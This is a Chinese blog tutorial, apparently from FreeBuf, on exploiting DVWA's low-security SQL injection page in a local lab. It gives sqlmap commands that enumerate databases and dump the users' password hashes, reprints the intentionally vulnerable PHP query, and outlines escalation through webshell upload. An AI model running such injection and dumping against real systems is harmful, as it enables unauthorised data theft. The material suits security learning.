DVWA下的sql注入(低难度) – 作者:fu福lin林

本来没想过要先做sql注入,只是因为时间太久了,自己手贱+脑残,将自己的DVWA环境的admin用户的密码改了并且成功的忘记了,网上百度一下DVWA里别的默认账号默认密码进行登录,理论上可以尝试爆破一波试试,就当实战了。但一想到我早就装好的sqlmap一直没用过,要不试试sqlmap注入,看看能不能直接在数据库里找密码,接下来就是分享操作过程:

1、先请求,在user id一栏里输入“1”,点提交

1602299310_5f8125ae3e4c87cfdb1d5.png!small

2、得到请求的url

http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#

sqlmap用起来:

发现状态码为302,是重定向至登录页面,所以我们还需要获取一下cookie

1602299616_5f8126e0463b578da447e.png!small

3、获取cookie

可以使用抓包工具查看,也可以使用F12查看:

1602299735_5f8127578df82715cf280.png!small

获取到cookie:

Cookie: security=low; PHPSESSID=2c7bv647rrnhcbmil09igcjqbe

4、sqlmap继续跑起来

sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=2c7bv647rrnhcbmil09igcjqbe” –batch

1602299796_5f81279433cdd51574717.png!small

此处,可以看到 id就是存在可以sql注入的参数,还发现存在4中类型的SQL注入漏洞

同时延申一下:

UNION query SQL injection(可联合查询注入)

Boolean-based blind SQL injection(布尔型注入)

Error-based SQL injection(报错型注入)

Time-based blind SQL injection(基于时间延迟注入)

5、可以找出所有的数据库信息

sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=2c7bv647rrnhcbmil09igcjqbe” –batch –dbs(dbs为所有的数据库)

1602300074_5f8128aaf41cdae902c3f.png!small

成功爆出五个数据库来:dvwa、information_schema、mysql、performance_schema、sys

6、定位当前数据库

sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=2c7bv647rrnhcbmil09igcjqbe” –batch –current-db

1602300162_5f81290256d82d03e6ad1.png!small

当前数据库是“dvwa”

7、看看能不能直接找到密码

sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=2c7bv647rrnhcbmil09igcjqbe” –batch –users –passwords

1602300316_5f81299cbdc8135418484.png!small

账号密码是加密的,passsword hash: 显示的哈希密码,说明猜对了,存在users表,以及password字段

8、查看此数据库的表

sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=2c7bv647rrnhcbmil09igcjqbe” –batch -D dvwa –tables   注意:-D dvwa是选择dvwa数据库。

1602300428_5f812a0c88f88b884372d.png!small

两张表,一般users表里保存的是账号与密码。

9、查看表数据

sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=2c7bv647rrnhcbmil09igcjqbe” –batch -D dvwa –tables  -T users –columns 注意:-T 是选择数据表。

1602300606_5f812abe274ceb656c1d7.png!small

nice!可以看到表的信息。

10、dump出password的详细信息

sqlmap.py -u “http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=2c7bv647rrnhcbmil09igcjqbe”  –batch -D dvwa -T users -C user,password -dump 注意:-dump 转储数据库表象,说白了就是显示具体内容

同时记一个公式:    -D数据库 -T表名 -C字段名 –dump

1602300686_5f812b0ed8d0b341c1d6b.png!small

11、重新登录DVWA,选择admin用户

1602300726_5f812b3671bdc59a187dd.png!small

1602300737_5f812b41684b7ed1b0d93.png!small

至此,整个过程结束,sqlmap一把梭真的很爽。

但有一点必须谨记,自己的测试环境随便弄没关系,如果是客户的正式生产环境,做渗透测试一般能看到表名就不要往下了,只需要证明sql注入存在即可,而不要真的去窃取人家的详细数据。

再回头看看源代码

<?php
if( isset( $_REQUEST[ ‘Submit’ ] ) ) {
// Get input
$id = $_REQUEST[ ‘id’ ];
// Check database
$query  = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;”;
$result = mysqli_query($GLOBALS[“___mysqli_ston”],  $query ) or die( ‘<pre>’ . ((is_object($GLOBALS[“___mysqli_ston”])) ? mysqli_error($GLOBALS[“___mysqli_ston”]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>’ );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row[“first_name”];
$last  = $row[“last_name”];
// Feedback for end user
echo “<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>”;
}
mysqli_close($GLOBALS[“___mysqli_ston”]);
}
?>

查看代码可知,服务器对传来的 user_id 没有任何过滤,所以注入过程很轻松。

12、总结一下

SQL 注入常规利用思路:

1、寻找注入点,可以通过 web 扫描工具实现

2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。

3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)

4、可以通过获得的用户信息,寻找后台登录。

5、利用后台或了解的进一步信息,上传 webshell 或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。

手工注入常规思路:

1.判断是否存在注入,注入是字符型还是数字型

2.猜解 SQL 查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.查询到账户的数据

来源:freebuf.com 2020-10-10 11:40:44 by: fu福lin林

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论